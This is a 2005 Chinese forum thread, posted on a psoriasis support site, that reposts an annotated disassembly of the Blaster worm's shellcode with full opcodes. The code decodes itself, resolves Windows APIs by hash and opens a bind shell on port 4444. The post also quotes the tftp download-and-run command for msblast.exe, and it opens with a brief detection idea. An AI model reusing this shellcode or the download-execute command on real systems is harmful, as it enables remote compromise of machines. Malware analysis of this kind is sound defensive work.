银屑病病友互助网

标题: “冲击波”病毒的shellcode [打印本页]

作者: 人生    时间: 2005-8-28 06:58
标题: “冲击波”病毒的shellcode
<FONT color=#0066ff size=3>      2年前“冲击波”病毒爆发时,我曾经对它的SHELLCODE进行过分析,现在把我当时写的分析献出来,
让大家看看“一代名毒”是怎样的。一般来说,shellcode都是这样写的,因此只要hook shellcode必须调用的api,判断esp和eip
的差值如果在0x1000以内(也就是说代码在堆栈里运行),那么基本上可以确认系统受到缓冲区溢出攻击,该进程必须马上退出。
当然,有些更厉害的shellcode采用直接调用native api,raw socket收发包等技术,hook api监视缓冲区溢出攻击的方法就不灵了,
要考虑其他方法,但这样写shellcode,它的体积必然很大,而且各个系统很难通用,也有它的缺陷。


;在exploit中由于不能有0和5C字符存在,所以写代码时要注意,因为很多代码都是有0的,比如
;mov ecx,8的机器码是b9 08 00 00 00有3个0,所以必须改为xor ecx,ecx/mov cl,8或push 8/pop ecx或xor ecx,ecx--sub ecx,-8

:00401000 90               nop
:00401001 90               nop


:00401002 90               nop
:00401003 EB19             jmp 0040101E
:00401005 5E               pop esi ;esi=00401023,从00401023地址开始的代码将要被还原,实际上esi指向的地址在堆栈中是不固定的
:00401006 31C9             xor ecx, ecx
:00401008 81E989FFFFFF         sub ecx, FFFFFF89==-77         ;ecx=77h
:0040100E 813680BF3294         xor dword ptr [esi], 9432BF80 ;还原从00401023开始被加密的代码
:00401014 81EEFCFFFFFF         sub esi, FFFFFFFC         ;add esi,4
:0040101A E2F2             loop 0040100E
:0040101C EB05             jmp 00401023 ;还原已经完成,跳到被还原的代码处执行
:0040101E E8E2FFFFFF         call 00401005 ;这条指令相当于push 00401023,jmp 00401005两条指令的集合

;此处开始的代码已经被还原:
:00401023 83EC34             sub esp, 00000034
:00401026 8BF4             mov esi, esp     ;esi--&gt;变量表

:00401028 E847010000         call 00401174 ;eax=77e40000h=hkernel32
:0040102D 8906             mov dword ptr [esi], eax

:0040102F FF36             push dword ptr [esi] ;=77e40000h
:00401031 688E4E0EEC         push EC0E4E8E ;LoadLibraryA字符串的自定义编码
:00401036 E861010000         call 0040119C
:0040103B 894608             mov dword ptr [esi+08], eax ;=77e605d8h

:0040103E FF36             push dword ptr [esi] ;=77e40000h
:00401040 68ADD905CE         push CE05D9AD ;WaitForSingleObject字符串的自定义编码
:00401045 E852010000         call 0040119C
:0040104A 89460C             mov dword ptr [esi+0C], eax ;=77e59d5bh

:0040104D 686C6C0000         push 00006C6C
:00401052 6833322E64         push 642E3233
:00401057 687773325F         push 5F327377 ;"ws2_32.dll"
:0040105C 54               push esp     ;esp--&gt;"ws2_32.dll"
:0040105D FF5608             call LoadLibraryA --&gt;ws2_32.dll
:00401060 894604             mov dword ptr [esi+04], eax ;=71a20000h(ws2_32.dll 在内存里的地址)

:00401063 FF36             push dword ptr [esi] ;=77e40000h
:00401065 6872FEB316         push 16B3FE72 ;CreateProcessA字符串的自定义编码
:0040106A E82D010000         call 0040119C
:0040106F 894610             mov dword ptr [esi+10], eax

:00401072 FF36             push dword ptr [esi] ;=77e40000h
:00401074 687ED8E273         push 73E2D87E ;ExitProcess字符串的自定义编码
:00401079 E81E010000         call 0040119C
:0040107E 894614             mov dword ptr [esi+14], eax

:00401081 FF7604             push [esi+04] ;=71a20000h
:00401084 68CBEDFC3B         push 3BFCEDCB ;WSAStartup字符串的自定义编码
:00401089 E80E010000         call 0040119C
:0040108E 894618             mov dword ptr [esi+18], eax

:00401091 FF7604             push [esi+04] ;=71a20000h
:00401094 68D909F5AD         push ADF509D9 ;WSASocketA字符串的自定义编码
:00401099 E8FE000000         call 0040119C
:0040109E 89461C             mov dword ptr [esi+1C], eax

:004010A1 FF7604             push [esi+04] ;=71a20000h
:004010A4 68A41A70C7         push C7701AA4 ;bind字符串的自定义编码
:004010A9 E8EE000000         call 0040119C
:004010AE 894620             mov dword ptr [esi+20], eax

:004010B1 FF7604             push [esi+04] ;=71a20000h
:004010B4 68A4AD2EE9         push E92EADA4 ;listen字符串的自定义编码
:004010B9 E8DE000000         call 0040119C
:004010BE 894624             mov dword ptr [esi+24], eax

:004010C1 FF7604             push [esi+04] ;=71a20000h
:004010C4 68E5498649         push 498649E5 ;accept字符串的自定义编码
:004010C9 E8CE000000         call 0040119C
:004010CE 894628             mov dword ptr [esi+28], eax

:004010D1 FF7604             push [esi+04] ;=71a20000h
:004010D4 68E779C679         push 79C679E7 ;closesocket字符串的自定义编码
:004010D9 E8BE000000         call 0040119C
:004010DE 89462C             mov dword ptr [esi+2C], eax

:004010E1 33FF             xor edi, edi
:004010E3 81EC90010000         sub esp, 00000190 ;在堆栈里分配临时空空间0x190字节

:004010E9 54               push esp
:004010EA 6801010000         push 00000101 ;wsock 1.1
:004010EF FF5618             call WSAStartup ;启动WINSOCK 1.1库

:004010F2 50               push eax =0
:004010F3 50               push eax =0
:004010F4 50               push eax =0
:004010F5 50               push eax =0
:004010F6 40               inc eax =1
:004010F7 50               push eax =1
:004010F8 40               inc eax =2
:004010F9 50               push eax =2   ;esp--&gt;2,1,0,0,0,0
:004010FA FF561C             call WSASocketA ;建立用于监听的TCP SOCKET
:004010FD 8BD8             mov ebx, eax =010ch

:004010FF 57               push edi =0
:00401100 57               push edi =0
:00401101 680200115C         push 5C110002 ;port=4444 ;sockaddr_in结构没有填好,少了4字节
:00401106 8BCC             mov ecx, esp ;ecx--&gt;0200115c0000000000000000

:00401108 6A16             push 00000016h ;这个参数应该是10h
:0040110A 51               push ecx ;ecx--&gt;0200115c000000000000000
:0040110B 53               push ebx ;hsocket
:0040110C FF5620             call bind   ;绑定4444端口

:0040110F 57               push edi =0
:00401110 53               push ebx ;hsocket
:00401111 FF5624             call listen ;4444端口开始进入监听状态

:00401114 57               push edi =0
:00401115 51               push ecx =0a2340 ;这个参数好象有问题,可以是0
:00401116 53               push ebx ;hsocket
:00401117 FF5628             call accept ;接受攻击主机的连接,开始接收对方传来的DOS命令
:0040111A 8BD0             mov edx, eax =324h, handle of socket to translate

:0040111C 6865786500         push 00657865
:00401121 68636D642E         push 2E646D63 ;"cmd.exe"
:00401126 896630             mov dword ptr [esi+30], esp --&gt;"cmd.exe"


PROCESS_INFORMATION STRUCT
hProcess     DWORD     ?
hThread     DWORD     ?
dwProcessId   DWORD     ?
dwThreadId   DWORD     ?
PROCESS_INFORMATION ENDS


STARTUPINFO STRUCT
00 cb           DWORD     ? ;44h
04 lpReserved     DWORD     ?
08 lpDesktop       DWORD     ?
0c lpTitle       DWORD     ?
10 dwX           DWORD     ?
14 dwY           DWORD     ?
18 dwXSize       DWORD     ?
1c dwYSize       DWORD     ?
20 dwXCountChars   DWORD     ?
24 dwYCountChars   DWORD     ?
28 dwFillAttribute   DWORD     ?
2c dwFlags       DWORD     ? ;100h, set STARTF_USESTDHANDLES flags
30 wShowWindow     WORD     ?
32 cbReserved2     WORD     ?
34 lpReserved2     DWORD     ?
38 hStdInput       DWORD     ? ;hsocket
3c hStdOutput     DWORD     ? ;hsocket
40 hStdError       DWORD     ? ;hsocket
STARTUPINFO ENDS
valve of dwFlags:
STARTF_USESHOWWINDOW           equ 1h
STARTF_USESIZE               equ 2h
STARTF_USEPOSITION             equ 4h
STARTF_USECOUNTCHARS           equ 8h
STARTF_USEFILLATTRIBUTE         equ 10h
STARTF_RUNFULLSCREEN           equ 20h
STARTF_FORCEONFEEDBACK           equ 40h
STARTF_FORCEOFFFEEDBACK         equ 80h
STARTF_USESTDHANDLES           equ 100h

:00401129 83EC54             sub esp, 00000054 = sizeof STARTUPINFO(10h) + sizeof PROCESS_INFOMATION(44h)

:0040112C 8D3C24             lea edi, dword ptr [esp]
:0040112F 33C0             xor eax, eax
:00401131 33C9             xor ecx, ecx
:00401133 83C115             add ecx, 00000015 ;ecx=15h
:00401136 AB               stosd ;临时内存清零,完成后EDI--&gt;"cmd.exe"
:00401137 E2FD             loop 00401136

:00401139 C644241044         mov [esp+10], 44 ;sizeof PROCESS_INFOMATION
:0040113E FE44243D           inc [esp+3D=3C+1] ;0-&gt;1 ;dwFlags=0100h
:00401142 89542448           mov dword ptr [esp+48], edx=hsocket=324 ;hStdInput
:00401146 8954244C           mov dword ptr [esp+4C], edx=hsocket=324 ;hStdOutput
:0040114A 89542450           mov dword ptr [esp+50], edx=hsocket=324 ;hStdError
填充STARTUPINFO结构的字段,使cmd.exe的Input,Output,Error都指向hsocket,所以hsocket收到的
tftp -i xx.xx.xx.xx get msblast.exe和start msblast.exe和msblast.exe字符串数据都作
为键入cmd.exe的DOS命令执行,也就是通讯socket和cmd.exe绑定在一起。

:0040114E 8D442410           lea eax, dword ptr [esp+10]
:00401152 54               push esp --&gt;retval save to PROCESS_INFOMATION struct
:00401153 50               push eax --&gt;STARTUPINFO struct
:00401154 51               push ecx =0 ;path
:00401155 51               push ecx =0 ;temp var
:00401156 51               push ecx =0 ;flag
:00401157 6A01             push 00000001 ;允许当前进程中的所有句柄都由新建的子进程继承
:00401159 51               push ecx =0
:0040115A 51               push ecx =0
:0040115B FF7630             push [esi+30] --&gt;"cmd.exe"
:0040115E 51               push ecx =0
:0040115F FF5610             call CreateProcessA =1 ;建立cmd.exe进程,从hsocket接收input,output
:00401162 8BCC             mov ecx, esp --&gt;4403000048030000e8030000e4030000,44h,15 dup(0)
:                         ecx--&gt;hProcess=344,hThread=348,dwProcessID=3e8,dwThreadID=3e4

:00401164 6AFF             push FFFFFFFF = INFINITE
:00401166 FF31             push dword ptr [ecx] ;hProcess=0344
:00401168 FF560C             call WaitForSingleObject ;无限等待cmd.exe,接受攻击主机
传来在被攻击主机的cmd.exe里执行的DOS命令:tftp -i xx.xx.xx.xx get msblast.exe和start msblast.exe,
把病毒体下载到被攻击主机并马上运行病毒。

:0040116B 8BC8             mov ecx, eax =0 ;CMD进程退出后WaitForSingleObject返回这里继续运行

:0040116D 57               push edi --&gt;"cmd.exe"
:0040116E FF562C             call closesocket ;这里好象有错误,参数应该是hsocket,而不是edi

:00401171 FF5614             call ExitProcess ;退出svchost.exe进程,倒记时60秒重新启动



;自带的GET KERNEL32模块BASE的子程序
:00401174 55               push ebp
:00401175 56               push esi
:00401176 64A130000000         mov eax, dword ptr fs:[00000030]
:0040117C 85C0             test eax, eax
:0040117E 780C             js 0040118C
:00401180 8B400C             mov eax, dword ptr [eax+0C]
:00401183 8B701C             mov esi, dword ptr [eax+1C]
:00401186 AD               lodsd
:00401187 8B6808             mov ebp, dword ptr [eax+08]
:0040118A EB09             jmp 00401195
:0040118C 8B4034             mov eax, dword ptr [eax+34]
:0040118F 8BA8B8000000         mov ebp, dword ptr [eax+000000B8]
:00401195 8BC5             mov eax, ebp
:00401197 5E               pop esi
:00401198 5D               pop ebp
:00401199 C20400             ret 0004


;自带的GetProcAddress子程序
* Referenced by a CALL at Addresses:
|:00401036   , :00401045   , :0040106A   , :00401079   , :00401089   
|
:0040119C 53               push ebx
:0040119D 55               push ebp
:0040119E 56               push esi
:0040119F 57               push edi ;esp--&gt;edi,esi,ebp,ebx,eip,API name,hModule
:004011A0 8B6C2418           mov ebp, dword ptr [esp+18] =module base
:004011A4 8B453C             mov eax, dword ptr [ebp+3C] =PE head
:004011A7 8B540578           mov edx, dword ptr [ebp+eax+78] =outport table
:004011AB 03D5             add edx, ebp ;edx--&gt;outport table
:004011AD 8B4A18             mov ecx, dword ptr [edx+18] ;num of api
:004011B0 8B5A20             mov ebx, dword ptr [edx+20] ;addr of api name table
:004011B3 03DD             add ebx, ebp

:004011B5 E332             jcxz 004011E9
:004011B7 49               dec ecx
:004011B8 8B348B             mov esi, dword ptr [ebx+4*ecx]
:004011BB 03F5             add esi, ebp
:004011BD 33FF             xor edi, edi
:004011BF FC               cld

:004011C0 33C0             xor eax, eax
:004011C2 AC               lodsb
:004011C3 3AC4             cmp al, ah
:004011C5 7407             je 004011CE
:004011C7 C1CF0D             ror edi, 0D
:004011CA 03F8             add edi, eax
:004011CC EBF2             jmp 004011C0

:004011CE 3B7C2414           cmp edi, dword ptr [esp+14]
:004011D2 75E1             jne 004011B5
:004011D4 8B5A24             mov ebx, dword ptr [edx+24]
:004011D7 03DD             add ebx, ebp
:004011D9 668B0C4B           mov cx, word ptr [ebx+2*ecx]
:004011DD 8B5A1C             mov ebx, dword ptr [edx+1C]
:004011E0 03DD             add ebx, ebp
:004011E2 8B048B             mov eax, dword ptr [ebx+4*ecx]
:004011E5 03C5             add eax, ebp
:004011E7 EB02             jmp 004011EB
:004011E9 33C0             xor eax, eax

:004011EB 8BD5             mov edx, ebp
:004011ED 5F               pop edi
:004011EE 5E               pop esi
:004011EF 5D               pop ebp
:004011F0 5B               pop ebx
:004011F1 C20400             ret 0004
</FONT>
作者: changshuzh    时间: 2005-8-29 22:50
<>转的?</P>
作者: 人生    时间: 2005-8-30 06:20
标题: 回复:(人生)“冲击波”病毒的shellcode
<FONT color=#0066ff size=3> 是转的,因为这里不太喜欢研究病毒,所以就向新闻是的发来大家看看,呵呵,如果你这为朋友也喜欢研究病毒的话呢,我们可以单独的加QQ交流。这文章是转来玩的。</FONT>
作者: changshuzh    时间: 2005-8-31 19:41
<>      我不行的,现在在读大学,对计算机有点感兴趣,不过上面的太难了,现在还看不懂呢,win32汇编啊~~~只教过8086上的,32位下的得自己学</P>
<>      我想“人生”大哥也是计算机的高手吧。对于计算机的新闻一点都不怎么关心的,还怎么是学计算机的呢,主要是从玩游戏开始感兴趣,不过现在还放在游戏上,太深入的看不进去了。</P>
[此贴子已经被作者于2005-8-31 19:43:36编辑过]

作者: 人生    时间: 2005-9-1 08:45
标题: 回复:(人生)“冲击波”病毒的shellcode
<><FONT color=#0033ff size=3>      兄弟你在上大学啊,现在不能老玩啊,点把学业放在前边啊,我这俩天也没怎么上这里来,才回复,不好意思兄弟。</FONT></P>
<><FONT color=#0033ff size=3>      我不是啥计算机高手,我对这个只是一个爱号,呵呵,因为在早有了室的时候总被人家黑了,后来也就研究一下,别人整我我也去整别人,呵呵,不说那些事了,其实这东西也没什么难的。</FONT></P>
<><FONT color=#0033ff size=3>      要少玩游戏,多注意身体哦,祝你永远开心兄弟~。</FONT></P>




欢迎光临 银屑病病友互助网 (https://www.yxb365.com/) Powered by Discuz! X3.2